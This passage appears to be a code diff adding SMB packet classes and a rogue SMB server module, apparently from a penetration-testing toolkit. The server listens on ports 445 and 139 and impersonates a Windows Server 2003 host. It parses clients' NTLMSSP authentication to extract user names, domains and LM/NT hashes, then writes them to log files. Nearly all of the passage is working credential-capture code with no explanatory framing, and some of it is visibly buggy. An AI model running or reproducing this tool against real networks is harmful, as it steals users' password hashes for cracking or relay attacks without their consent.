||||
|
||||
AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])
|
||||
|
||||
Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"])
|
||||
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen1))
|
||||
self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(AsnLenStart))
|
||||
self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"])))
|
||||
self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2))
|
||||
self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2)
|
||||
self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen))
|
||||
self.fields["NegThisMechASNLen"] = struct.pack("<B", len(MechTypeLen)-2)
|
||||
self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"])))
|
||||
self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"])))
|
||||
self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"])))
|
||||
self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"])))
|
||||
self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len))
|
||||
self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2)
|
||||
self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"])))
|
||||
################################################################################
|
||||
class SMBSession1Data(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00"),
|
||||
("Andxoffset", "\x5f\x01"),
|
||||
("Action", "\x00\x00"),
|
||||
("SecBlobLen", "\xea\x00"),
|
||||
("Bcc", "\x34\x01"),
|
||||
("ChoiceTagASNId", "\xa1"),
|
||||
("ChoiceTagASNLenOfLen", "\x81"),
|
||||
("ChoiceTagASNIdLen", "\x00"),
|
||||
("NegTokenTagASNId", "\x30"),
|
||||
("NegTokenTagASNLenOfLen","\x81"),
|
||||
("NegTokenTagASNIdLen", "\x00"),
|
||||
("Tag0ASNId", "\xA0"),
|
||||
("Tag0ASNIdLen", "\x03"),
|
||||
("NegoStateASNId", "\x0A"),
|
||||
("NegoStateASNLen", "\x01"),
|
||||
("NegoStateASNValue", "\x01"),
|
||||
("Tag1ASNId", "\xA1"),
|
||||
("Tag1ASNIdLen", "\x0c"),
|
||||
("Tag1ASNId2", "\x06"),
|
||||
("Tag1ASNId2Len", "\x0A"),
|
||||
("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||
("Tag2ASNId", "\xA2"),
|
||||
("Tag2ASNIdLenOfLen", "\x81"),
|
||||
("Tag2ASNIdLen", "\xED"),
|
||||
("Tag3ASNId", "\x04"),
|
||||
("Tag3ASNIdLenOfLen", "\x81"),
|
||||
("Tag3ASNIdLen", "\xEA"),
|
||||
("NTLMSSPSignature", "NTLMSSP"),
|
||||
("NTLMSSPSignatureNull", "\x00"),
|
||||
("NTLMSSPMessageType", "\x02\x00\x00\x00"),
|
||||
("NTLMSSPNtWorkstationLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationMaxLen","\x1e\x00"),
|
||||
("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"),
|
||||
("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"),
|
||||
("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"),
|
||||
("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||
("NTLMSSPNtTargetInfoLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoMaxLen","\x94\x00"),
|
||||
("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||
("NegTokenInitSeqMechMessageVersionLow","\x02"),
|
||||
("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"),
|
||||
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||
("NTLMSSPNtWorkstationName","SMB12"),
|
||||
("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"),
|
||||
("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"),
|
||||
("NTLMSSPNTLMPadding", ""),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLAN", "Windows Server 2003 5.2"),
|
||||
("NativeLANTerminator","\x00\x00"),
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
|
||||
##Convert strings to Unicode first...
|
||||
self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le')
|
||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
||||
|
||||
###### SecBlobLen Calc:
|
||||
AsnLen= str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])
|
||||
|
||||
CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
##### Bcc len
|
||||
BccLen = AsnLen+CalculateSecBlob+str(self.fields["NTLMSSPNTLMPadding"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||
#SecBlobLen
|
||||
self.fields["SecBlobLen"] = struct.pack("<h", len(AsnLen+CalculateSecBlob))
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
||||
self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3)
|
||||
self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6)
|
||||
self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])))
|
||||
self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"])))
|
||||
self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"])))
|
||||
self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob))
|
||||
|
||||
###### Andxoffset calculation.
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen
|
||||
|
||||
self.fields["Andxoffset"] = struct.pack("<h", len(CalculateCompletePacket)+32)
|
||||
###### Workstation Offset
|
||||
CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||
|
||||
###### AvPairs Offset
|
||||
CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"])
|
||||
|
||||
##### Workstation Offset Calculation:
|
||||
self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation))
|
||||
self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
|
||||
##### IvPairs Offset Calculation:
|
||||
self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])))
|
||||
self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs))
|
||||
##### IvPair Calculation:
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])))
|
||||
self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])))
|
||||
|
||||
##################################################################################
|
||||
|
||||
class SMBSession2Accept(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x04"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved", "\x00"),
|
||||
("Andxoffset", "\xb4\x00"),
|
||||
("Action", "\x00\x00"),
|
||||
("SecBlobLen", "\x09\x00"),
|
||||
("Bcc", "\x89\x01"),
|
||||
("SSPIAccept","\xa1\x07\x30\x05\xa0\x03\x0a\x01\x00"),
|
||||
("NativeOs","Windows Server 2003 3790 Service Pack 2"),
|
||||
("NativeOsTerminator","\x00\x00"),
|
||||
("NativeLAN", "Windows Server 2003 5.2"),
|
||||
("NativeLANTerminator","\x00\x00"),
|
||||
])
|
||||
def calculate(self):
|
||||
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le')
|
||||
self.fields["NativeLAN"] = self.fields["NativeLAN"].encode('utf-16le')
|
||||
BccLen = str(self.fields["SSPIAccept"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLAN"])+str(self.fields["NativeLANTerminator"])
|
||||
self.fields["Bcc"] = struct.pack("<h", len(BccLen))
|
||||
|
||||
class SMBSessEmpty(Packet):
|
||||
fields = OrderedDict([
|
||||
("Empty", "\x00\x00\x00"),
|
||||
])
|
||||
|
||||
class SMBTreeData(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x07"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved","\x00" ),
|
||||
("Andxoffset", "\xbd\x00"),
|
||||
("OptionalSupport","\x00\x00"),
|
||||
("MaxShareAccessRight","\x00\x00\x00\x00"),
|
||||
("GuestShareAccessRight","\x00\x00\x00\x00"),
|
||||
("Bcc", "\x94\x00"),
|
||||
("Service", "IPC"),
|
||||
("ServiceTerminator","\x00\x00\x00\x00"),
|
||||
])
|
||||
|
||||
|
||||
def calculate(self):
|
||||
#Complete Packet Len
|
||||
CompletePacket= str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["OptionalSupport"])+str(self.fields["MaxShareAccessRight"])+str(self.fields["GuestShareAccessRight"])+str(self.fields["Bcc"])+str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||
## AndXOffset
|
||||
self.fields["Andxoffset"] = struct.pack("<H", len(CompletePacket)+32)
|
||||
## BCC Len Calc
|
||||
BccLen= str(self.fields["Service"])+str(self.fields["ServiceTerminator"])
|
||||
self.fields["Bcc"] = struct.pack("<H", len(BccLen))
|
||||
|
||||
# SMB Session/Tree Answer.
|
||||
class SMBSessTreeAns(Packet):
|
||||
fields = OrderedDict([
|
||||
("Wordcount", "\x03"),
|
||||
("Command", "\x75"),
|
||||
("Reserved", "\x00"),
|
||||
("AndXoffset", "\x4e\x00"),
|
||||
("Action", "\x01\x00"),
|
||||
("Bcc", "\x25\x00"),
|
||||
("NativeOs", "Windows 5.1"),
|
||||
("NativeOsNull", "\x00"),
|
||||
("NativeLan", "Windows 2000 LAN Manager"),
|
||||
("NativeLanNull", "\x00"),
|
||||
("WordcountTree", "\x03"),
|
||||
("AndXCommand", "\xff"),
|
||||
("Reserved1", "\x00"),
|
||||
("AndxOffset", "\x00\x00"),
|
||||
("OptionalSupport", "\x01\x00"),
|
||||
("Bcc2", "\x08\x00"),
|
||||
("Service", "A:"),
|
||||
("ServiceNull", "\x00"),
|
||||
("FileSystem", "NTFS"),
|
||||
("FileSystemNull", "\x00"),
|
||||
|
||||
])
|
||||
|
||||
def calculate(self):
|
||||
##AndxOffset
|
||||
CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["Command"])+str(self.fields["Reserved"])+str(self.fields["AndXoffset"])+str(self.fields["Action"])+str(self.fields["Bcc"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["AndXoffset"] = struct.pack("<i", len(CalculateCompletePacket)+32)[:2]
|
||||
##BCC 1 and 2
|
||||
CompleteBCCLen = str(self.fields["NativeOs"])+str(self.fields["NativeOsNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanNull"])
|
||||
self.fields["Bcc"] = struct.pack("<h",len(CompleteBCCLen))
|
||||
CompleteBCC2Len = str(self.fields["Service"])+str(self.fields["ServiceNull"])+str(self.fields["FileSystem"])+str(self.fields["FileSystemNull"])
|
||||
self.fields["Bcc2"] = struct.pack("<h",len(CompleteBCC2Len))
|
340
core/protocols/smb/SMBServer_Responder.py
Normal file
340
core/protocols/smb/SMBServer_Responder.py
Normal file
|
@ -0,0 +1,340 @@
|
|||
##################################################################################
|
||||
#SMB stuff starts here
|
||||
##################################################################################
|
||||
|
||||
class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||
|
||||
allow_reuse_address = 1
|
||||
|
||||
def server_bind(self):
|
||||
TCPServer.server_bind(self)
|
||||
|
||||
def serve_thread_tcp(host, port, handler):
|
||||
try:
|
||||
server = ThreadingTCPServer((host, port), handler)
|
||||
server.serve_forever()
|
||||
except Exception, e:
|
||||
print "Error starting TCP server on port %s: %s:" % (str(port),str(e))
|
||||
|
||||
#Function name self-explanatory
|
||||
def Is_SMB_On(SMB_On_Off):
|
||||
|
||||
if SMB_On_Off == "ON":
|
||||
if LM_On_Off == True:
|
||||
t1 = threading.Thread(name="SMB1LM-445", target=self.serve_thread_tcp, args=("0.0.0.0", 445, SMB1LM))
|
||||
t2 = threading.Thread(name="SMB1LM-139", target=self.serve_thread_tcp, args=("0.0.0.0", 139, SMB1LM))
|
||||
for t in [t1, t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
return t1, t2
|
||||
|
||||
else:
|
||||
t1 = threading.Thread(name="SMB1-445", target=serve_thread_tcp, args=("0.0.0.0", 445, SMB1))
|
||||
t2 = threading.Thread(name="SMB1-139", target=serve_thread_tcp, args=("0.0.0.0", 139, SMB1))
|
||||
|
||||
for t in [t1,t2]:
|
||||
t.setDaemon(True)
|
||||
t.start()
|
||||
|
||||
return t1, t2
|
||||
|
||||
if SMB_On_Off == "OFF":
|
||||
return False
|
||||
|
||||
#Detect if SMB auth was Anonymous
|
||||
def Is_Anonymous(data):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
if SecBlobLen < 260:
|
||||
SSPIStart = data[75:]
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
if SecBlobLen > 260:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
def Is_LMNT_Anonymous(data):
|
||||
LMhashLen = struct.unpack('<H',data[51:53])[0]
|
||||
if LMhashLen == 0 or LMhashLen == 1:
|
||||
return True
|
||||
else:
|
||||
return False
|
||||
|
||||
#Function used to know which dialect number to return for NT LM 0.12
|
||||
def Parse_Nego_Dialect(data):
|
||||
DialectStart = data[40:]
|
||||
pack = tuple(DialectStart.split('\x02'))[:10]
|
||||
var = [e.replace('\x00','') for e in DialectStart.split('\x02')[:10]]
|
||||
test = tuple(var)
|
||||
if test[0] == "NT LM 0.12":
|
||||
return "\x00\x00"
|
||||
if test[1] == "NT LM 0.12":
|
||||
return "\x01\x00"
|
||||
if test[2] == "NT LM 0.12":
|
||||
return "\x02\x00"
|
||||
if test[3] == "NT LM 0.12":
|
||||
return "\x03\x00"
|
||||
if test[4] == "NT LM 0.12":
|
||||
return "\x04\x00"
|
||||
if test[5] == "NT LM 0.12":
|
||||
return "\x05\x00"
|
||||
if test[6] == "NT LM 0.12":
|
||||
return "\x06\x00"
|
||||
if test[7] == "NT LM 0.12":
|
||||
return "\x07\x00"
|
||||
if test[8] == "NT LM 0.12":
|
||||
return "\x08\x00"
|
||||
if test[9] == "NT LM 0.12":
|
||||
return "\x09\x00"
|
||||
if test[10] == "NT LM 0.12":
|
||||
return "\x0a\x00"
|
||||
|
||||
def ParseShare(data):
|
||||
packet = data[:]
|
||||
a = re.search('(\\x5c\\x00\\x5c.*.\\x00\\x00\\x00)', packet)
|
||||
if a:
|
||||
quote = "Share requested: "+a.group(0)
|
||||
responder_logger.info(quote.replace('\x00',''))
|
||||
|
||||
#Parse SMB NTLMSSP v1/v2
|
||||
def ParseSMBHash(data,client):
|
||||
SecBlobLen = struct.unpack('<H',data[51:53])[0]
|
||||
BccLen = struct.unpack('<H',data[61:63])[0]
|
||||
if SecBlobLen < 260:
|
||||
SSPIStart = data[75:]
|
||||
LMhashLen = struct.unpack('<H',data[89:91])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[91:93])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[97:99])[0]
|
||||
NthashOffset = struct.unpack('<H',data[99:101])[0]
|
||||
|
||||
if SecBlobLen > 260:
|
||||
SSPIStart = data[79:]
|
||||
LMhashLen = struct.unpack('<H',data[93:95])[0]
|
||||
LMhashOffset = struct.unpack('<H',data[95:97])[0]
|
||||
LMHash = SSPIStart[LMhashOffset:LMhashOffset+LMhashLen].encode("hex").upper()
|
||||
NthashLen = struct.unpack('<H',data[101:103])[0]
|
||||
NthashOffset = struct.unpack('<H',data[103:105])[0]
|
||||
|
||||
if NthashLen == 24:
|
||||
NtHash = SSPIStart[NthashOffset:NthashOffset+NthashLen].encode("hex").upper()
|
||||
DomainLen = struct.unpack('<H',data[105:107])[0]
|
||||
DomainOffset = struct.unpack('<H',data[107:109])[0]
|
||||
Domain = SSPIStart[DomainOffset:DomainOffset+DomainLen].replace('\x00','')
|
||||
UserLen = struct.unpack('<H',data[113:115])[0]
|
||||
UserOffset = struct.unpack('<H',data[115:117])[0]
|
||||
User = SSPIStart[UserOffset:UserOffset+UserLen].replace('\x00','')
|
||||
writehash = User+"::"+Domain+":"+LMHash+":"+NtHash+":"+NumChal
|
||||
outfile = "./logs/responder/SMB-NTLMv1ESS-Client-"+client+".txt"
|
||||
WriteData(outfile,writehash,User+"::"+Domain)
|
||||
